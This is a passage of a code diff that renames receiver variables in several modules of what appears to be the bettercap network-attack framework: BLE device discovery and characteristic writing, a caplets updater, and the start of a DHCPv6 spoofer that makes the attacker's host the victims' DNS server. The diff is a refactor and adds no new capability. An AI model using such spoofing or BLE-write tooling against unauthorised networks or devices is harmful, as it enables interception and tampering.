d.AddHandler(session.NewModuleHandler("ble.recon on", "",
|
mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
|
||||||
"Start Bluetooth Low Energy devices discovery.",
|
"Start Bluetooth Low Energy devices discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.recon off", "",
|
mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
|
||||||
"Stop Bluetooth Low Energy devices discovery.",
|
"Stop Bluetooth Low Energy devices discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.show", "",
|
mod.AddHandler(session.NewModuleHandler("ble.show", "",
|
||||||
"Show discovered Bluetooth Low Energy devices.",
|
"Show discovered Bluetooth Low Energy devices.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Show()
|
return mod.Show()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.enum MAC", "ble.enum "+network.BLEMacValidator,
|
mod.AddHandler(session.NewModuleHandler("ble.enum MAC", "ble.enum "+network.BLEMacValidator,
|
||||||
"Enumerate services and characteristics for the given BLE device.",
|
"Enumerate services and characteristics for the given BLE device.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if d.isEnumerating() {
|
if mod.isEnumerating() {
|
||||||
return fmt.Errorf("An enumeration for %s is already running, please wait.", d.currDevice.Device.ID())
|
return fmt.Errorf("An enumeration for %s is already running, please wait.", mod.currDevice.Device.ID())
|
||||||
}
|
}
|
||||||
|
|
||||||
d.writeData = nil
|
mod.writeData = nil
|
||||||
d.writeUUID = nil
|
mod.writeUUID = nil
|
||||||
|
|
||||||
return d.enumAllTheThings(network.NormalizeMac(args[0]))
|
return mod.enumAllTheThings(network.NormalizeMac(args[0]))
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+network.BLEMacValidator+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)",
|
mod.AddHandler(session.NewModuleHandler("ble.write MAC UUID HEX_DATA", "ble.write "+network.BLEMacValidator+" ([a-fA-F0-9]+) ([a-fA-F0-9]+)",
|
||||||
"Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.",
|
"Write the HEX_DATA buffer to the BLE device with the specified MAC address, to the characteristics with the given UUID.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
mac := network.NormalizeMac(args[0])
|
mac := network.NormalizeMac(args[0])
|
||||||
|
@ -83,84 +83,84 @@ func NewBLERecon(s *session.Session) *BLERecon {
|
||||||
return fmt.Errorf("Error parsing %s: %s", args[2], err)
|
return fmt.Errorf("Error parsing %s: %s", args[2], err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return d.writeBuffer(mac, uuid, data)
|
return mod.writeBuffer(mac, uuid, data)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return d
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Name() string {
|
func (mod BLERecon) Name() string {
|
||||||
return "ble.recon"
|
return "ble.recon"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Description() string {
|
func (mod BLERecon) Description() string {
|
||||||
return "Bluetooth Low Energy devices discovery."
|
return "Bluetooth Low Energy devices discovery."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Author() string {
|
func (mod BLERecon) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) isEnumerating() bool {
|
func (mod *BLERecon) isEnumerating() bool {
|
||||||
return d.currDevice != nil
|
return mod.currDevice != nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Configure() (err error) {
|
func (mod *BLERecon) Configure() (err error) {
|
||||||
if d.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if d.gattDevice == nil {
|
} else if mod.gattDevice == nil {
|
||||||
d.Info("Initializing BLE device ...")
|
mod.Info("Initializing BLE device ...")
|
||||||
|
|
||||||
// hey Paypal GATT library, could you please just STFU?!
|
// hey Paypal GATT library, could you please just STFU?!
|
||||||
golog.SetOutput(ioutil.Discard)
|
golog.SetOutput(ioutil.Discard)
|
||||||
if d.gattDevice, err = gatt.NewDevice(defaultBLEClientOptions...); err != nil {
|
if mod.gattDevice, err = gatt.NewDevice(defaultBLEClientOptions...); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
d.gattDevice.Handle(
|
mod.gattDevice.Handle(
|
||||||
gatt.PeripheralDiscovered(d.onPeriphDiscovered),
|
gatt.PeripheralDiscovered(mod.onPeriphDiscovered),
|
||||||
gatt.PeripheralConnected(d.onPeriphConnected),
|
gatt.PeripheralConnected(mod.onPeriphConnected),
|
||||||
gatt.PeripheralDisconnected(d.onPeriphDisconnected),
|
gatt.PeripheralDisconnected(mod.onPeriphDisconnected),
|
||||||
)
|
)
|
||||||
|
|
||||||
d.gattDevice.Init(d.onStateChanged)
|
mod.gattDevice.Init(mod.onStateChanged)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Start() error {
|
func (mod *BLERecon) Start() error {
|
||||||
if err := d.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return d.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
go d.pruner()
|
go mod.pruner()
|
||||||
|
|
||||||
<-d.quit
|
<-mod.quit
|
||||||
|
|
||||||
d.Info("Stopping BLE scan ...")
|
mod.Info("Stopping BLE scan ...")
|
||||||
|
|
||||||
d.gattDevice.StopScanning()
|
mod.gattDevice.StopScanning()
|
||||||
|
|
||||||
d.done <- true
|
mod.done <- true
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Stop() error {
|
func (mod *BLERecon) Stop() error {
|
||||||
return d.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
d.quit <- true
|
mod.quit <- true
|
||||||
<-d.done
|
<-mod.done
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) pruner() {
|
func (mod *BLERecon) pruner() {
|
||||||
d.Debug("Started BLE devices pruner ...")
|
mod.Debug("Started BLE devices pruner ...")
|
||||||
|
|
||||||
for d.Running() {
|
for mod.Running() {
|
||||||
for _, dev := range d.Session.BLE.Devices() {
|
for _, dev := range mod.Session.BLE.Devices() {
|
||||||
if time.Since(dev.LastSeen) > blePresentInterval {
|
if time.Since(dev.LastSeen) > blePresentInterval {
|
||||||
d.Session.BLE.Remove(dev.Device.ID())
|
mod.Session.BLE.Remove(dev.Device.ID())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -168,41 +168,41 @@ func (d *BLERecon) pruner() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) setCurrentDevice(dev *network.BLEDevice) {
|
func (mod *BLERecon) setCurrentDevice(dev *network.BLEDevice) {
|
||||||
d.connected = false
|
mod.connected = false
|
||||||
d.currDevice = dev
|
mod.currDevice = dev
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error {
|
func (mod *BLERecon) writeBuffer(mac string, uuid gatt.UUID, data []byte) error {
|
||||||
d.writeUUID = &uuid
|
mod.writeUUID = &uuid
|
||||||
d.writeData = data
|
mod.writeData = data
|
||||||
return d.enumAllTheThings(mac)
|
return mod.enumAllTheThings(mac)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) enumAllTheThings(mac string) error {
|
func (mod *BLERecon) enumAllTheThings(mac string) error {
|
||||||
dev, found := d.Session.BLE.Get(mac)
|
dev, found := mod.Session.BLE.Get(mac)
|
||||||
if !found || dev == nil {
|
if !found || dev == nil {
|
||||||
return fmt.Errorf("BLE device with address %s not found.", mac)
|
return fmt.Errorf("BLE device with address %s not found.", mac)
|
||||||
} else if d.Running() {
|
} else if mod.Running() {
|
||||||
d.gattDevice.StopScanning()
|
mod.gattDevice.StopScanning()
|
||||||
}
|
}
|
||||||
|
|
||||||
d.setCurrentDevice(dev)
|
mod.setCurrentDevice(dev)
|
||||||
if err := d.Configure(); err != nil && err != session.ErrAlreadyStarted {
|
if err := mod.Configure(); err != nil && err != session.ErrAlreadyStarted {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
d.Info("Connecting to %s ...", mac)
|
mod.Info("Connecting to %s ...", mac)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
time.Sleep(d.connTimeout)
|
time.Sleep(mod.connTimeout)
|
||||||
if d.isEnumerating() && !d.connected {
|
if mod.isEnumerating() && !mod.connected {
|
||||||
d.Session.Events.Add("ble.connection.timeout", d.currDevice)
|
mod.Session.Events.Add("ble.connection.timeout", mod.currDevice)
|
||||||
d.onPeriphDisconnected(nil, nil)
|
mod.onPeriphDisconnected(nil, nil)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
d.gattDevice.Connect(dev.Device)
|
mod.gattDevice.Connect(dev.Device)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
|
@ -7,65 +7,65 @@ import (
|
||||||
"github.com/bettercap/gatt"
|
"github.com/bettercap/gatt"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (d *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) {
|
func (mod *BLERecon) onStateChanged(dev gatt.Device, s gatt.State) {
|
||||||
d.Info("BLE state changed to %v", s)
|
mod.Info("BLE state changed to %v", s)
|
||||||
|
|
||||||
switch s {
|
switch s {
|
||||||
case gatt.StatePoweredOn:
|
case gatt.StatePoweredOn:
|
||||||
if d.currDevice == nil {
|
if mod.currDevice == nil {
|
||||||
d.Info("Starting BLE discovery ...")
|
mod.Info("Starting BLE discovery ...")
|
||||||
dev.Scan([]gatt.UUID{}, true)
|
dev.Scan([]gatt.UUID{}, true)
|
||||||
}
|
}
|
||||||
case gatt.StatePoweredOff:
|
case gatt.StatePoweredOff:
|
||||||
d.gattDevice = nil
|
mod.gattDevice = nil
|
||||||
|
|
||||||
default:
|
default:
|
||||||
d.Warning("Unexpected BLE state: %v", s)
|
mod.Warning("Unexpected BLE state: %v", s)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) {
|
func (mod *BLERecon) onPeriphDiscovered(p gatt.Peripheral, a *gatt.Advertisement, rssi int) {
|
||||||
d.Session.BLE.AddIfNew(p.ID(), p, a, rssi)
|
mod.Session.BLE.AddIfNew(p.ID(), p, a, rssi)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) {
|
func (mod *BLERecon) onPeriphDisconnected(p gatt.Peripheral, err error) {
|
||||||
if d.Running() {
|
if mod.Running() {
|
||||||
// restore scanning
|
// restore scanning
|
||||||
d.Info("Device disconnected, restoring BLE discovery.")
|
mod.Info("Device disconnected, restoring BLE discovery.")
|
||||||
d.setCurrentDevice(nil)
|
mod.setCurrentDevice(nil)
|
||||||
d.gattDevice.Scan([]gatt.UUID{}, true)
|
mod.gattDevice.Scan([]gatt.UUID{}, true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) {
|
func (mod *BLERecon) onPeriphConnected(p gatt.Peripheral, err error) {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
d.Warning("Connected to %s but with error: %s", p.ID(), err)
|
mod.Warning("Connected to %s but with error: %s", p.ID(), err)
|
||||||
return
|
return
|
||||||
} else if d.currDevice == nil {
|
} else if mod.currDevice == nil {
|
||||||
// timed out
|
// timed out
|
||||||
d.Warning("Connected to %s but after the timeout :(", p.ID())
|
mod.Warning("Connected to %s but after the timeout :(", p.ID())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
d.connected = true
|
mod.connected = true
|
||||||
|
|
||||||
defer func(per gatt.Peripheral) {
|
defer func(per gatt.Peripheral) {
|
||||||
d.Info("Disconnecting from %s ...", per.ID())
|
mod.Info("Disconnecting from %s ...", per.ID())
|
||||||
per.Device().CancelConnection(per)
|
per.Device().CancelConnection(per)
|
||||||
}(p)
|
}(p)
|
||||||
|
|
||||||
d.Session.Events.Add("ble.device.connected", d.currDevice)
|
mod.Session.Events.Add("ble.device.connected", mod.currDevice)
|
||||||
|
|
||||||
if err := p.SetMTU(500); err != nil {
|
if err := p.SetMTU(500); err != nil {
|
||||||
d.Warning("Failed to set MTU: %s", err)
|
mod.Warning("Failed to set MTU: %s", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
d.Info("Connected, enumerating all the things for %s!", p.ID())
|
mod.Info("Connected, enumerating all the things for %s!", p.ID())
|
||||||
services, err := p.DiscoverServices(nil)
|
services, err := p.DiscoverServices(nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
d.Error("Error discovering services: %s", err)
|
mod.Error("Error discovering services: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
d.showServices(p, services)
|
mod.showServices(p, services)
|
||||||
}
|
}
|
||||||
|
|
|
@ -23,7 +23,7 @@ var (
|
||||||
blePresentInterval = time.Duration(30) * time.Second
|
blePresentInterval = time.Duration(30) * time.Second
|
||||||
)
|
)
|
||||||
|
|
||||||
func (d *BLERecon) getRow(dev *network.BLEDevice) []string {
|
func (mod *BLERecon) getRow(dev *network.BLEDevice) []string {
|
||||||
address := network.NormalizeMac(dev.Device.ID())
|
address := network.NormalizeMac(dev.Device.ID())
|
||||||
vendor := dev.Vendor
|
vendor := dev.Vendor
|
||||||
sinceSeen := time.Since(dev.LastSeen)
|
sinceSeen := time.Since(dev.LastSeen)
|
||||||
|
@ -51,14 +51,14 @@ func (d *BLERecon) getRow(dev *network.BLEDevice) []string {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Show() error {
|
func (mod *BLERecon) Show() error {
|
||||||
devices := d.Session.BLE.Devices()
|
devices := mod.Session.BLE.Devices()
|
||||||
|
|
||||||
sort.Sort(ByBLERSSISorter(devices))
|
sort.Sort(ByBLERSSISorter(devices))
|
||||||
|
|
||||||
rows := make([][]string, 0)
|
rows := make([][]string, 0)
|
||||||
for _, dev := range devices {
|
for _, dev := range devices {
|
||||||
rows = append(rows, d.getRow(dev))
|
rows = append(rows, mod.getRow(dev))
|
||||||
}
|
}
|
||||||
nrows := len(rows)
|
nrows := len(rows)
|
||||||
|
|
||||||
|
@ -68,7 +68,7 @@ func (d *BLERecon) Show() error {
|
||||||
tui.Table(os.Stdout, columns, rows)
|
tui.Table(os.Stdout, columns, rows)
|
||||||
}
|
}
|
||||||
|
|
||||||
d.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -124,15 +124,15 @@ func parseRawData(raw []byte) string {
|
||||||
return tui.Yellow(s)
|
return tui.Yellow(s)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
|
func (mod *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
|
||||||
columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"}
|
columns := []string{"Handles", "Service > Characteristics", "Properties", "Data"}
|
||||||
rows := make([][]string, 0)
|
rows := make([][]string, 0)
|
||||||
|
|
||||||
wantsToWrite := d.writeUUID != nil
|
wantsToWrite := mod.writeUUID != nil
|
||||||
foundToWrite := false
|
foundToWrite := false
|
||||||
|
|
||||||
for _, svc := range services {
|
for _, svc := range services {
|
||||||
d.Session.Events.Add("ble.device.service.discovered", svc)
|
mod.Session.Events.Add("ble.device.service.discovered", svc)
|
||||||
|
|
||||||
name := svc.Name()
|
name := svc.Name()
|
||||||
if name == "" {
|
if name == "" {
|
||||||
|
@ -152,12 +152,12 @@ func (d *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
|
||||||
|
|
||||||
chars, err := p.DiscoverCharacteristics(nil, svc)
|
chars, err := p.DiscoverCharacteristics(nil, svc)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
d.Error("Error while enumerating chars for service %s: %s", svc.UUID(), err)
|
mod.Error("Error while enumerating chars for service %s: %s", svc.UUID(), err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, ch := range chars {
|
for _, ch := range chars {
|
||||||
d.Session.Events.Add("ble.device.characteristic.discovered", ch)
|
mod.Session.Events.Add("ble.device.characteristic.discovered", ch)
|
||||||
|
|
||||||
name = ch.Name()
|
name = ch.Name()
|
||||||
if name == "" {
|
if name == "" {
|
||||||
|
@ -168,17 +168,17 @@ func (d *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
|
||||||
|
|
||||||
props, isReadable, isWritable, withResponse := parseProperties(ch)
|
props, isReadable, isWritable, withResponse := parseProperties(ch)
|
||||||
|
|
||||||
if wantsToWrite && d.writeUUID.Equal(ch.UUID()) {
|
if wantsToWrite && mod.writeUUID.Equal(ch.UUID()) {
|
||||||
foundToWrite = true
|
foundToWrite = true
|
||||||
if isWritable {
|
if isWritable {
|
||||||
d.Info("Writing %d bytes to characteristics %s ...", len(d.writeData), d.writeUUID)
|
mod.Info("Writing %d bytes to characteristics %s ...", len(mod.writeData), mod.writeUUID)
|
||||||
} else {
|
} else {
|
||||||
d.Warning("Attempt to write %d bytes to non writable characteristics %s ...", len(d.writeData), d.writeUUID)
|
mod.Warning("Attempt to write %d bytes to non writable characteristics %s ...", len(mod.writeData), mod.writeUUID)
|
||||||
}
|
}
|
||||||
|
|
||||||
err := p.WriteCharacteristic(ch, d.writeData, !withResponse)
|
err := p.WriteCharacteristic(ch, mod.writeData, !withResponse)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
d.Error("Error while writing: %s", err)
|
mod.Error("Error while writing: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -204,9 +204,9 @@ func (d *BLERecon) showServices(p gatt.Peripheral, services []*gatt.Service) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if wantsToWrite && !foundToWrite {
|
if wantsToWrite && !foundToWrite {
|
||||||
d.Error("Writable characteristics %s not found.", d.writeUUID)
|
mod.Error("Writable characteristics %s not found.", mod.writeUUID)
|
||||||
} else {
|
} else {
|
||||||
tui.Table(os.Stdout, columns, rows)
|
tui.Table(os.Stdout, columns, rows)
|
||||||
d.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -22,45 +22,45 @@ var defaultBLEServerOptions = []gatt.Option{
|
||||||
}
|
}
|
||||||
*/
|
*/
|
||||||
func NewBLERecon(s *session.Session) *BLERecon {
|
func NewBLERecon(s *session.Session) *BLERecon {
|
||||||
d := &BLERecon{
|
mod := &BLERecon{
|
||||||
SessionModule: session.NewSessionModule("ble.recon", s),
|
SessionModule: session.NewSessionModule("ble.recon", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.recon on", "",
|
mod.AddHandler(session.NewModuleHandler("ble.recon on", "",
|
||||||
"Start Bluetooth Low Energy devices discovery.",
|
"Start Bluetooth Low Energy devices discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("ble.recon off", "",
|
mod.AddHandler(session.NewModuleHandler("ble.recon off", "",
|
||||||
"Stop Bluetooth Low Energy devices discovery.",
|
"Stop Bluetooth Low Energy devices discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return d
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Name() string {
|
func (mod BLERecon) Name() string {
|
||||||
return "ble.recon"
|
return "ble.recon"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Description() string {
|
func (mod BLERecon) Description() string {
|
||||||
return "Bluetooth Low Energy devices discovery."
|
return "Bluetooth Low Energy devices discovery."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d BLERecon) Author() string {
|
func (mod BLERecon) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Configure() (err error) {
|
func (mod *BLERecon) Configure() (err error) {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Start() error {
|
func (mod *BLERecon) Start() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *BLERecon) Stop() error {
|
func (mod *BLERecon) Stop() error {
|
||||||
return session.ErrNotSupported
|
return session.ErrNotSupported
|
||||||
}
|
}
|
||||||
|
|
|
@ -21,56 +21,56 @@ type CapletsModule struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewCapletsModule(s *session.Session) *CapletsModule {
|
func NewCapletsModule(s *session.Session) *CapletsModule {
|
||||||
c := &CapletsModule{
|
mod := &CapletsModule{
|
||||||
SessionModule: session.NewSessionModule("caplets", s),
|
SessionModule: session.NewSessionModule("caplets", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
c.AddHandler(session.NewModuleHandler("caplets.show", "",
|
mod.AddHandler(session.NewModuleHandler("caplets.show", "",
|
||||||
"Show a list of installed caplets.",
|
"Show a list of installed caplets.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return c.Show()
|
return mod.Show()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
c.AddHandler(session.NewModuleHandler("caplets.paths", "",
|
mod.AddHandler(session.NewModuleHandler("caplets.paths", "",
|
||||||
"Show a list caplet search paths.",
|
"Show a list caplet search paths.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return c.Paths()
|
return mod.Paths()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
c.AddHandler(session.NewModuleHandler("caplets.update", "",
|
mod.AddHandler(session.NewModuleHandler("caplets.update", "",
|
||||||
"Install/updates the caplets.",
|
"Install/updates the caplets.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return c.Update()
|
return mod.Update()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return c
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Name() string {
|
func (mod *CapletsModule) Name() string {
|
||||||
return "caplets"
|
return "caplets"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Description() string {
|
func (mod *CapletsModule) Description() string {
|
||||||
return "A module to list and update caplets."
|
return "A module to list and update caplets."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Author() string {
|
func (mod *CapletsModule) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Configure() error {
|
func (mod *CapletsModule) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Stop() error {
|
func (mod *CapletsModule) Stop() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Start() error {
|
func (mod *CapletsModule) Start() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Show() error {
|
func (mod *CapletsModule) Show() error {
|
||||||
caplets := caplets.List()
|
caplets := caplets.List()
|
||||||
if len(caplets) == 0 {
|
if len(caplets) == 0 {
|
||||||
return fmt.Errorf("no installed caplets on this system, use the caplets.update command to download them")
|
return fmt.Errorf("no installed caplets on this system, use the caplets.update command to download them")
|
||||||
|
@ -96,7 +96,7 @@ func (c *CapletsModule) Show() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Paths() error {
|
func (mod *CapletsModule) Paths() error {
|
||||||
colNames := []string{
|
colNames := []string{
|
||||||
"Path",
|
"Path",
|
||||||
}
|
}
|
||||||
|
@ -112,9 +112,9 @@ func (c *CapletsModule) Paths() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *CapletsModule) Update() error {
|
func (mod *CapletsModule) Update() error {
|
||||||
if !fs.Exists(caplets.InstallBase) {
|
if !fs.Exists(caplets.InstallBase) {
|
||||||
c.Info("creating caplets install path %s ...", caplets.InstallBase)
|
mod.Info("creating caplets install path %s ...", caplets.InstallBase)
|
||||||
if err := os.MkdirAll(caplets.InstallBase, os.ModePerm); err != nil {
|
if err := os.MkdirAll(caplets.InstallBase, os.ModePerm); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
@ -126,7 +126,7 @@ func (c *CapletsModule) Update() error {
|
||||||
}
|
}
|
||||||
defer out.Close()
|
defer out.Close()
|
||||||
|
|
||||||
c.Info("downloading caplets from %s ...", caplets.InstallArchive)
|
mod.Info("downloading caplets from %s ...", caplets.InstallArchive)
|
||||||
|
|
||||||
resp, err := http.Get(caplets.InstallArchive)
|
resp, err := http.Get(caplets.InstallArchive)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
@ -138,7 +138,7 @@ func (c *CapletsModule) Update() error {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
c.Info("installing caplets to %s ...", caplets.InstallPath)
|
mod.Info("installing caplets to %s ...", caplets.InstallPath)
|
||||||
|
|
||||||
if _, err = zip.Unzip("/tmp/caplets.zip", caplets.InstallBase); err != nil {
|
if _, err = zip.Unzip("/tmp/caplets.zip", caplets.InstallBase); err != nil {
|
||||||
return err
|
return err
|
||||||
|
|
|
@ -36,93 +36,93 @@ type DHCP6Spoofer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
|
func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
|
||||||
spoof := &DHCP6Spoofer{
|
mod := &DHCP6Spoofer{
|
||||||
SessionModule: session.NewSessionModule("dhcp6.spoof", s),
|
SessionModule: session.NewSessionModule("dhcp6.spoof", s),
|
||||||
Handle: nil,
|
Handle: nil,
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
|
||||||
spoof.AddParam(session.NewStringParameter("dhcp6.spoof.domains",
|
mod.AddParam(session.NewStringParameter("dhcp6.spoof.domains",
|
||||||
"microsoft.com, google.com, facebook.com, apple.com, twitter.com",
|
"microsoft.com, google.com, facebook.com, apple.com, twitter.com",
|
||||||
``,
|
``,
|
||||||
"Comma separated values of domain names to spoof."))
|
"Comma separated values of domain names to spoof."))
|
||||||
|
|
||||||
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
|
mod.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
|
||||||
"Start the DHCPv6 spoofer in the background.",
|
"Start the DHCPv6 spoofer in the background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return spoof.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
|
mod.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
|
||||||
"Stop the DHCPv6 spoofer in the background.",
|
"Stop the DHCPv6 spoofer in the background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return spoof.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return spoof
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DHCP6Spoofer) Name() string {
|
func (mod DHCP6Spoofer) Name() string {
|
||||||
return "dhcp6.spoof"
|
return "dhcp6.spoof"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DHCP6Spoofer) Description() string {
|
func (mod DHCP6Spoofer) Description() string {
|
||||||
return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
|
return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DHCP6Spoofer) Author() string {
|
func (mod DHCP6Spoofer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) Configure() error {
|
